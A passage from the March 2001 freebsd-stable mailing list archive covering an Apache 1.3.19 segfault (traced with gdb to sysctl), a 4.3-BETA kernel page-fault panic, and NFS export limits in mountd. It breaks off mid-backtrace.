at startup. > > # apachectl start > Segmentation fault - core dumped > /usr/local/sbin/apachectl start: httpd could not be started Can Apache resolv its own DNS name / address? Eg did you put its name/address into the jail's /etc/hosts? /etc/resolv.conf? Mico To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11: 3: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from home.cg.nu (home.cg.nu [213.196.2.115]) by hub.freebsd.org (Postfix) with ESMTP id 1730737B718 for ; Fri, 16 Mar 2001 11:03:00 -0800 (PST) (envelope-from henk@home.cg.nu) Received: from kpnlep (henk [213.93.106.195]) by home.cg.nu (Postfix) with ESMTP id 682A4158E47; Fri, 16 Mar 2001 20:02:58 +0100 (CET) Reply-To: From: "Henk Wevers" To: "'Miklos Niedermayer'" Cc: Subject: RE: Apache 1.3.19 does not work in a jail Date: Fri, 16 Mar 2001 20:02:58 +0100 Message-ID: <006b01c0ae4b$b74cd560$08010a0a@kpnlep> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20010316195832.A241@fmdb.c3.hu> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----Original Message----- From: owner-freebsd-stable@FreeBSD.ORG [mailto:owner-freebsd-stable@FreeBSD.ORG] On Behalf Of Miklos Niedermayer Sent: vrijdag 16 maart 2001 19:59 To: Henk Wevers Cc: stable@freebsd.org Subject: Re: Apache 1.3.19 does not work in a jail Hi Henk! On Fri, Mar 16, 2001 at 07:43:18PM +0100, Henk Wevers wrote: > In FreeBSD-4.3-BETA2, > > Does somebody have a cleu why it is not working? > The only thing it does is dumping core at startup. > > # apachectl start > Segmentation fault - core dumped > /usr/local/sbin/apachectl start: httpd could not be started Can Apache resolv its own DNS name / address? Eg did you put its name/address into the jail's /etc/hosts? /etc/resolv.conf? Mico -- Yes offcourse, I use the jail() function now a year, it did work fine. It could be a apache 1.3.19 problem, with a kernel from Februari it did work fine . Henk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:14:56 2001 Delivered-To: freebsd-stable@freebsd.org Received: from stsws5.die.supsi.ch (stsws5.die.supsi.ch [193.5.154.5]) by hub.freebsd.org (Postfix) with ESMTP id 77AFC37B719; Fri, 16 Mar 2001 11:14:47 -0800 (PST) (envelope-from nunnari@die.supsi.ch) Received: from die.supsi.ch (pcm2022.die.supsi.ch [193.5.152.22]) by stsws5.die.supsi.ch (8.9.1a/8.9.1) with ESMTP id UAA01984; Fri, 16 Mar 2001 20:05:45 +0100 (MET) Message-ID: <3AB2669B.DED6673B@die.supsi.ch> Date: Fri, 16 Mar 2001 20:16:43 +0100 From: Roberto Nunnari X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: stable@FreeBSD.ORG, ru@FreeBSD.ORG Cc: freebsd-stable@FreeBSD.ORG Subject: Re: crash on 4.3-BETA References: <3AB25D27.BFC03A4F@die.supsi.ch> <20010316204916.A23643@sunbay.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have: c01e6108 T vmspace_free c01e6184 T vm_map_create c01e61b8 T vm_map_init c01e620c T vm_map_entry_dispose c01e6244 T vm_map_entry_create c01e6288 T vm_map_lookup_entry c01e62f4 T vm_map_insert c01e6530 T vm_map_findspace c01e65d8 T vm_map_find Ruslan Ermilov wrote: > > On Fri, Mar 16, 2001 at 07:36:23PM +0100, Roberto Nunnari wrote: > > I just got this right after a 'make install' for a port. > > > > =============================================== > > Fatal trap 12: page fault while in kernel mode > > fault virtual address =0x8 > > fault code = supervisor read, page not present > > instruction pointer= 0x8:0xc01e659f > > stack pointer = 0x10:0xc87bbd5c > > frame pointer = 0x10:0xc87bbd6c > > code segment = base 0x0, limit 0xfffff, type 0x1b > > = DPL 0, pres 1, def32 1, gran 1 > > processor eflags= interrupt enabled, resume, IOPL = 0 > > current process = 24978 (basename) > > interrupt mask = none > > trap number = 12 > > panic: page fault > > > > syncing disks... 156 156 152 134 116 87 64 22 > > done > > Uptime: 6h26m0s > > Automatic reboot in 15 seconds > > =============================================== > > > Huh, it would be much better if you had both core image > from the kernel, and kernel.debug in /sys/compile/IDENT/. > > Anyway, run ``nm /kernel'' and try to find what symbols > are close to the 0xc01e659f address (instruction pointer). > > My /kernel, for example, shows this (sorry, Soren): > > c01e6478 t acdclose > c01e64f0 t acdioctl > c01e6380 t acdopen > > Of course, acd(4) is not exactly a culprit (I have a different > config from yours, and hence my kernel layout is different). > This is just to show you the idea. > > Cheers, > -- > Ruslan Ermilov Oracle Developer/DBA, > ru@sunbay.com Sunbay Software AG, > ru@FreeBSD.org FreeBSD committer, > +380.652.512.251 Simferopol, Ukraine > > http://www.FreeBSD.org The Power To Serve > http://www.oracle.com Enabling The Information Age -- Roberto Nunnari -software engineer- mailto:nunnari@die.supsi.ch Scuola Universitaria Professionale della Svizzera Italiana Dipartimento di Informatica e Elettronica http://www.die.supsi.ch SUPSI-DIE Via Cantonale tel: +41-91-6108557 6928 Manno """ Switzerland (o o) =======================oOO==(_)==OOo======================== MY OPINIONS ARE NOT NECESSARILY THOSE OF MY EMPLOYER To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:14:56 2001 Delivered-To: freebsd-stable@freebsd.org Received: from stsws5.die.supsi.ch (stsws5.die.supsi.ch [193.5.154.5]) by hub.freebsd.org (Postfix) with ESMTP id 77AFC37B719; Fri, 16 Mar 2001 11:14:47 -0800 (PST) (envelope-from nunnari@die.supsi.ch) Received: from die.supsi.ch (pcm2022.die.supsi.ch [193.5.152.22]) by stsws5.die.supsi.ch (8.9.1a/8.9.1) with ESMTP id UAA01984; Fri, 16 Mar 2001 20:05:45 +0100 (MET) Message-ID: <3AB2669B.DED6673B@die.supsi.ch> Date: Fri, 16 Mar 2001 20:16:43 +0100 From: Roberto Nunnari X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: stable@FreeBSD.ORG, ru@FreeBSD.ORG Cc: freebsd-stable@FreeBSD.ORG Subject: Re: crash on 4.3-BETA References: <3AB25D27.BFC03A4F@die.supsi.ch> <20010316204916.A23643@sunbay.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have: c01e6108 T vmspace_free c01e6184 T vm_map_create c01e61b8 T vm_map_init c01e620c T vm_map_entry_dispose c01e6244 T vm_map_entry_create c01e6288 T vm_map_lookup_entry c01e62f4 T vm_map_insert c01e6530 T vm_map_findspace c01e65d8 T vm_map_find Ruslan Ermilov wrote: > > On Fri, Mar 16, 2001 at 07:36:23PM +0100, Roberto Nunnari wrote: > > I just got this right after a 'make install' for a port. > > > > =============================================== > > Fatal trap 12: page fault while in kernel mode > > fault virtual address =0x8 > > fault code = supervisor read, page not present > > instruction pointer= 0x8:0xc01e659f > > stack pointer = 0x10:0xc87bbd5c > > frame pointer = 0x10:0xc87bbd6c > > code segment = base 0x0, limit 0xfffff, type 0x1b > > = DPL 0, pres 1, def32 1, gran 1 > > processor eflags= interrupt enabled, resume, IOPL = 0 > > current process = 24978 (basename) > > interrupt mask = none > > trap number = 12 > > panic: page fault > > > > syncing disks... 156 156 152 134 116 87 64 22 > > done > > Uptime: 6h26m0s > > Automatic reboot in 15 seconds > > =============================================== > > > Huh, it would be much better if you had both core image > from the kernel, and kernel.debug in /sys/compile/IDENT/. > > Anyway, run ``nm /kernel'' and try to find what symbols > are close to the 0xc01e659f address (instruction pointer). > > My /kernel, for example, shows this (sorry, Soren): > > c01e6478 t acdclose > c01e64f0 t acdioctl > c01e6380 t acdopen > > Of course, acd(4) is not exactly a culprit (I have a different > config from yours, and hence my kernel layout is different). > This is just to show you the idea. > > Cheers, > -- > Ruslan Ermilov Oracle Developer/DBA, > ru@sunbay.com Sunbay Software AG, > ru@FreeBSD.org FreeBSD committer, > +380.652.512.251 Simferopol, Ukraine > > http://www.FreeBSD.org The Power To Serve > http://www.oracle.com Enabling The Information Age -- Roberto Nunnari -software engineer- mailto:nunnari@die.supsi.ch Scuola Universitaria Professionale della Svizzera Italiana Dipartimento di Informatica e Elettronica http://www.die.supsi.ch SUPSI-DIE Via Cantonale tel: +41-91-6108557 6928 Manno """ Switzerland (o o) =======================oOO==(_)==OOo======================== MY OPINIONS ARE NOT NECESSARILY THOSE OF MY EMPLOYER To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:25:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.tgd.net (rand.tgd.net [64.81.67.117]) by hub.freebsd.org (Postfix) with SMTP id F33EA37B719 for ; Fri, 16 Mar 2001 11:25:13 -0800 (PST) (envelope-from sean@mailhost.tgd.net) Received: (qmail 62016 invoked by uid 1001); 16 Mar 2001 19:25:10 -0000 Date: Fri, 16 Mar 2001 11:25:10 -0800 From: Sean Chittenden To: Henk Wevers Cc: 'Miklos Niedermayer' , stable@freebsd.org Subject: Re: Apache 1.3.19 does not work in a jail Message-ID: <20010316112509.A61074@rand.tgd.net> References: <20010316195832.A241@fmdb.c3.hu> <006b01c0ae4b$b74cd560$08010a0a@kpnlep> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IS0zKkzwUGydFO0o" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <006b01c0ae4b$b74cd560$08010a0a@kpnlep>; from "henk@home.cg.nu" on Fri, Mar 16, 2001 at = 08:02:58PM X-PGP-Key: 0x1EDDFAAD X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD X-Web-Homepage: http://sean.chittenden.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --IS0zKkzwUGydFO0o Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I did some looking into this because I had the same problem. mod_perl + kernel (Tuesday build) =3D problem with sysctl I'll rebuild apache with mod_perl and see if I can get more problems, but I remember looking into it and finding that sysctl() was where it wasy dying. Thoughts anyone? -sc On Fri, Mar 16, 2001 at 08:02:58PM +0100, Henk Wevers wrote: > Delivered-To: sean-freebsd-stable@chittenden.org > Delivered-To: freebsd-stable@freebsd.org > Reply-To: > From: "Henk Wevers" > To: "'Miklos Niedermayer'" > Cc: > Subject: RE: Apache 1.3.19 does not work in a jail > Date: Fri, 16 Mar 2001 20:02:58 +0100 > X-Priority: 3 (Normal) > X-MSMail-Priority: Normal > X-Mailer: Microsoft Outlook, Build 10.0.2616 > Importance: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 > In-Reply-To: <20010316195832.A241@fmdb.c3.hu> > X-Loop: FreeBSD.ORG > Precedence: bulk >=20 >=20 >=20 > -----Original Message----- > From: owner-freebsd-stable@FreeBSD.ORG > [mailto:owner-freebsd-stable@FreeBSD.ORG] On Behalf Of Miklos > Niedermayer > Sent: vrijdag 16 maart 2001 19:59 > To: Henk Wevers > Cc: stable@freebsd.org > Subject: Re: Apache 1.3.19 does not work in a jail >=20 >=20 > Hi Henk! >=20 > On Fri, Mar 16, 2001 at 07:43:18PM +0100, Henk Wevers wrote: >=20 > > In FreeBSD-4.3-BETA2, > >=20 > > Does somebody have a cleu why it is not working? > > The only thing it does is dumping core at startup. > >=20 > > # apachectl start > > Segmentation fault - core dumped > > /usr/local/sbin/apachectl start: httpd could not be started >=20 > Can Apache resolv its own DNS name / address? Eg did you put its > name/address into the jail's /etc/hosts? /etc/resolv.conf? >=20 >=20 > Mico > -- >=20 > Yes offcourse, I use the jail() function now a year, it did work fine. > It could be a apache 1.3.19 problem, with a kernel from Februari it did > work > fine . >=20 > Henk >=20 >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message --=20 Sean Chittenden sean@chittenden.org --IS0zKkzwUGydFO0o Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqyaJUACgkQn09c7x7d+q2sNQCeNzPTHl0qHRiiYE9/c28BLuKf AjEAn1YYGeL0SfGJA9HyjiAhbuksZS81 =5J/C -----END PGP SIGNATURE----- --IS0zKkzwUGydFO0o-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:27:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from home.cg.nu (home.cg.nu [213.196.2.115]) by hub.freebsd.org (Postfix) with ESMTP id 62F3837B71A for ; Fri, 16 Mar 2001 11:27:52 -0800 (PST) (envelope-from henk@home.cg.nu) Received: from kpnlep (henk [213.93.106.195]) by home.cg.nu (Postfix) with ESMTP id 71931158E47; Fri, 16 Mar 2001 20:27:50 +0100 (CET) Reply-To: From: "Henk Wevers" To: "'Sean Chittenden'" Cc: "'Miklos Niedermayer'" , Subject: RE: Apache 1.3.19 does not work in a jail Date: Fri, 16 Mar 2001 20:27:50 +0100 Message-ID: <007e01c0ae4f$30ebe7f0$08010a0a@kpnlep> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20010316112509.A61074@rand.tgd.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [root@testje.cg.nu]:/root # apachectl startssl Segmentation fault - core dumped /usr/local/sbin/apachectl startssl: httpd could not be started [root@testje.cg.nu]:/root # gdb httpd.core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... "/root/httpd.core": not in executable format: File format not recognized These are my errors Henk -----Original Message----- From: owner-freebsd-stable@FreeBSD.ORG [mailto:owner-freebsd-stable@FreeBSD.ORG] On Behalf Of Sean Chittenden Sent: vrijdag 16 maart 2001 20:25 To: Henk Wevers Cc: 'Miklos Niedermayer'; stable@freebsd.org Subject: Re: Apache 1.3.19 does not work in a jail I did some looking into this because I had the same problem. mod_perl + kernel (Tuesday build) = problem with sysctl I'll rebuild apache with mod_perl and see if I can get more problems, but I remember looking into it and finding that sysctl() was where it wasy dying. Thoughts anyone? -sc On Fri, Mar 16, 2001 at 08:02:58PM +0100, Henk Wevers wrote: > Delivered-To: sean-freebsd-stable@chittenden.org > Delivered-To: freebsd-stable@freebsd.org > Reply-To: > From: "Henk Wevers" > To: "'Miklos Niedermayer'" > Cc: > Subject: RE: Apache 1.3.19 does not work in a jail > Date: Fri, 16 Mar 2001 20:02:58 +0100 > X-Priority: 3 (Normal) > X-MSMail-Priority: Normal > X-Mailer: Microsoft Outlook, Build 10.0.2616 > Importance: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 > In-Reply-To: <20010316195832.A241@fmdb.c3.hu> > X-Loop: FreeBSD.ORG > Precedence: bulk > > > > -----Original Message----- > From: owner-freebsd-stable@FreeBSD.ORG > [mailto:owner-freebsd-stable@FreeBSD.ORG] On Behalf Of Miklos > Niedermayer > Sent: vrijdag 16 maart 2001 19:59 > To: Henk Wevers > Cc: stable@freebsd.org > Subject: Re: Apache 1.3.19 does not work in a jail > > > Hi Henk! > > On Fri, Mar 16, 2001 at 07:43:18PM +0100, Henk Wevers wrote: > > > In FreeBSD-4.3-BETA2, > > > > Does somebody have a cleu why it is not working? > > The only thing it does is dumping core at startup. > > > > # apachectl start > > Segmentation fault - core dumped > > /usr/local/sbin/apachectl start: httpd could not be started > > Can Apache resolv its own DNS name / address? Eg did you put its > name/address into the jail's /etc/hosts? /etc/resolv.conf? > > > Mico > -- > > Yes offcourse, I use the jail() function now a year, it did work fine. > It could be a apache 1.3.19 problem, with a kernel from Februari it > did work fine . > > Henk > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Sean Chittenden sean@chittenden.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:28:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from asa1.asan.com (asa1.asan.com [206.20.111.11]) by hub.freebsd.org (Postfix) with ESMTP id 4971637B718 for ; Fri, 16 Mar 2001 11:28:27 -0800 (PST) (envelope-from ) Received: from [216.136.204.119] by asa1.asan.com (NTMail 4.30.0013/NT4321.00.31f8ddab) with ESMTP id szmmmaaa for ; Fri, 16 Mar 2001 14:28:23 -0500 From: tlhingan@asan.com To: owner-freebsd-stable-digest@FreeBSD.ORG Subject: remove Message-Id: <19282345781436@asan.com> Date: Fri, 16 Mar 2001 14:28:23 -0500 X-Mailer: NTMail v4.30.0013 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG remove if you received this response from me, and you know me personaly, give me a call at home and i'll explain. in the meantime, i did get your e-mail - i'm having it automatically forwarded to a temporary account... just the spam mail is being removed, i hope. :) -r To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:29:16 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 7796437B718 for ; Fri, 16 Mar 2001 11:29:11 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id LAA28876; Fri, 16 Mar 2001 11:28:51 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda28871; Fri Mar 16 11:28:44 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2GJSc846890; Fri, 16 Mar 2001 11:28:38 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdX46872; Fri Mar 16 11:28:12 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2GJSBq05018; Fri, 16 Mar 2001 11:28:11 -0800 (PST) Message-Id: <200103161928.f2GJSBq05018@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdUQ5003; Fri Mar 16 11:28:01 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: Matt Dillon Cc: Sean Kelly , freebsd-stable@FreeBSD.ORG Subject: Re: mountd In-reply-to: Your message of "Wed, 14 Mar 2001 16:33:33 PST." <200103150033.f2F0XXV33398@earth.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 16 Mar 2001 11:28:01 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200103150033.f2F0XXV33398@earth.backplane.com>, Matt Dillon writes: > :My NFS server has /usr on a single filesystem, yet I would like to share > :subdirectories of /usr with different attributes. An example would be: > : > : /usr/ports readonly > : /usr/src readonly > : /usr/local/build read/write > : > :The idea is that machines with very little disk space will be able to build > :ports and source using /usr/build/ as the workdir. As I > :understand it, this can't be done since /usr is a single filesystem on the > :server and must > :a) be listed on single line in /etc/exports > :b) have the same attributes for all exported directories > > :Am I missing something? If not, why is FreeBSD's mountd implimented this > :way when it causes severe limitations such as the one I just came across? > :How hard would it be to reimpliment the system? Does anybody have any > > The limitation is not restricted to FreeBSD. The real problem here is > that NFS security is based on file handle identifiers and filesystems. > You can export all the subdirectories in a filesystem wholely > read-only, or wholely read-write, but not a combination of the two > because the NFS server has no idea which subdirectory of that > filesystem an NFS client may be accessing... NFS clients access files > by file handle id's, NOT by path names. > > :suggestions for a quickfix? What is the answer to life, the universe, and > :everything? > : > :-- > :Sean Kelly | PGP KeyID: 77042C7B > :smkelly@zombie.org | http://www.zombie.org > > No problem. Here's what you do: Lets say that /usr is local on all > your machines but you want to export /usr/ports and /usr/src from > your NFS server read-only. Simply make /usr/ports/distfiles on your > NFS server be a softlink to /usr/ports.distfiles, which will be a local > directory on every machine (including the NFS server). > > Then set the WRKDIRPREFIX variable in your /etc/make.conf on the clients. > e.g. mkdir /var/portswork and in /etc/make.conf: > > WRKDIRPREFIX= /var/portswork > > (Note: some ports are huge so WRKDIRPREFIX needs to point to somewhere > with a lot of space). > > Now you can build a port on any client using the /usr/ports exported > read-only from the NFS server. If you are exporting the whole of /usr > read-only to the clients, then obviously you have to choose some other > directory to hold the distfiles by adjusting the /usr/ports/distfiles > softlink. The softlink must be valid (point to some local directory > somewhere) on both the NFS server and all the clients. > > -- > > In regards to /usr/src and /usr/obj. What I normally do is export > /usr/src AND /usr/obj from the NFS server, both read-only. I do all > builds on the server and then install them from the clients (i.e. I > never actually build the world on a client). Same goes with kernels > for the clients... build on the server, install from the client. > > -Matt This is good. A more generic approach would be to mount the directories you wish to export using nullfs or unionfs -r to another directory, e.g /nfs/. Then export /nfs/. Of course this depends on nullfs and unionfs not panicking your system. Other than the bugs in nullfs and unionfs, assuming that the bugs will get fixed one day, does anyone see any problems or security implications with this approach? -- Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:53:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fmdb.c3.hu (dial-386.digitel2002.hu [213.163.28.4]) by hub.freebsd.org (Postfix) with SMTP id 114E237B718 for ; Fri, 16 Mar 2001 11:53:41 -0800 (PST) (envelope-from mico@bsd.hu) Received: (qmail 1356 invoked by uid 1003); 16 Mar 2001 19:52:16 -0000 Date: Fri, 16 Mar 2001 20:52:16 +0100 From: Miklos Niedermayer To: Henk Wevers Cc: 'Miklos Niedermayer' , stable@freebsd.org Subject: Re: Apache 1.3.19 does not work in a jail Message-ID: <20010316205216.A1259@fmdb.c3.hu> References: <20010316195832.A241@fmdb.c3.hu> <006b01c0ae4b$b74cd560$08010a0a@kpnlep> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <006b01c0ae4b$b74cd560$08010a0a@kpnlep>; from henk@home.cg.nu on Fri, Mar 16, 2001 at 08:02:58PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, On Fri, Mar 16, 2001 at 08:02:58PM +0100, Henk Wevers wrote: > Yes offcourse, I use the jail() function now a year, it did work fine. > It could be a apache 1.3.19 problem, with a kernel from Februari it did > work > fine . Actually, i haven't been using Apache for some months now, but i have experienced some problems in the last weeks, too. For example, I had to specify an IP address for inetd to bind to with flag '-a'. But now it works again without that flag... Do you have ktrace(1) installed in your jail environment? You should do 'ktrace httpd' and then -hopefully- you'll be able to read some details about what Apache wants to do, by 'kdump -f ktrace.out'. Bye, Mico To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:57:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 78DD037B71A for ; Fri, 16 Mar 2001 11:57:34 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2GJuZ572214; Fri, 16 Mar 2001 11:56:35 -0800 (PST) (envelope-from dillon) Date: Fri, 16 Mar 2001 11:56:35 -0800 (PST) From: Matt Dillon Message-Id: <200103161956.f2GJuZ572214@earth.backplane.com> To: Cy Schubert - ITSD Open Systems Group Cc: Sean Kelly , freebsd-stable@FreeBSD.ORG Subject: Re: mountd References: <200103161928.f2GJSBq05018@cwsys.cwsent.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> In regards to /usr/src and /usr/obj. What I normally do is export :> /usr/src AND /usr/obj from the NFS server, both read-only. I do all :> builds on the server and then install them from the clients (i.e. I :> never actually build the world on a client). Same goes with kernels :> for the clients... build on the server, install from the client. :> :> -Matt : :This is good. A more generic approach would be to mount the directories you wish to export using nullfs or unionfs -r to another directory, e.g /nfs/. Then export /nfs/. Of course this depends on nullfs and unionfs not panicking your system. Other than the bugs in nullfs and unionfs, assuming that the bugs will get fixed one day, does anyone see any problems or security implications with this approach? : :-- :Regards, Phone: (250)387-8437 :Cy Schubert Fax: (250)387-5766 I would recommend against using nullfs or unionfs for this purpose, as these filesystems have (I believe) known issues with mmap() and source and object files are mmap()'d all the time. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 11:58:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.tgd.net (rand.tgd.net [64.81.67.117]) by hub.freebsd.org (Postfix) with SMTP id E130037B718 for ; Fri, 16 Mar 2001 11:58:36 -0800 (PST) (envelope-from sean@mailhost.tgd.net) Received: (qmail 68141 invoked by uid 1001); 16 Mar 2001 19:58:33 -0000 Date: Fri, 16 Mar 2001 11:58:33 -0800 From: Sean Chittenden To: stable@freebsd.org Cc: Henk Wevers , 'Miklos Niedermayer' Subject: Re: Apache 1.3.19 does not work out of jail either -- UPDATED Message-ID: <20010316115833.C61074@rand.tgd.net> References: <20010316195832.A241@fmdb.c3.hu> <006b01c0ae4b$b74cd560$08010a0a@kpnlep> <20010316112509.A61074@rand.tgd.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VywGB/WGlW4DM4P8" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010316112509.A61074@rand.tgd.net>; from "sean-freebsd-stable@chittenden.org" on Fri, Mar 16, 2001 at = 11:25:10AM X-PGP-Key: 0x1EDDFAAD X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD X-Web-Homepage: http://sean.chittenden.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --VywGB/WGlW4DM4P8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Alright, here's the scenario (I don't use jail and it still breaks): rand# perl Makefile.PL APACHE_PREFIX=3D/www/testing APACHE_SRC=3D../apache-= 1.3.19/src DO_HTTPD=3D1 USEA_APACI=3D1 EVERYTHING=3D1 Will configure via APACI [... many lines later...] Creating Makefile in src + configured for FreeBSD 4.3 platform + setting C pre-processor to cc -E + checking for system header files + adding selected modules o perl_module uses ConfigStart/End + mod_perl build type: OBJ + id: mod_perl/1.25 + id: Perl/5.00503 (freebsd) [perl] + setting up mod_perl build environment + adjusting Apache build environment + enabling Perl support for SSI (mod_include) [snip] rand# make install rand# /www/testing/bin/apachectl configtest Syntax OK Segmentation fault - core dumped rand# ll httpd.core -rw------- 1 root wheel 823296 Mar 16 11:40 httpd.core rand# gdb /www/testing/bin/httpd httpd.core=20 [snip] This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... Core was generated by `httpd'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/libcrypt.so.2...(no debugging symbols found).= .. done. Reading symbols from /usr/lib/libperl.so.3...(no debugging symbols found)... done. Reading symbols from /usr/lib/libm.so.2...(no debugging symbols found)...do= ne. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols found)...do= ne. Reading symbols from /usr/lib/libc_r.so.4...(no debugging symbols found)... done. Reading symbols from /usr/lib/libutil.so.3...(no debugging symbols found)... done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found= )... done. #0 0x2822f53c in sysctl () from /usr/lib/libc.so.4 (gdb) bt #0 0x2822f53c in sysctl () from /usr/lib/libc.so.4 #1 0x28244fca in .cerror () from /usr/lib/libc.so.4 #2 0x28244eca in exit () from /usr/lib/libc.so.4 #3 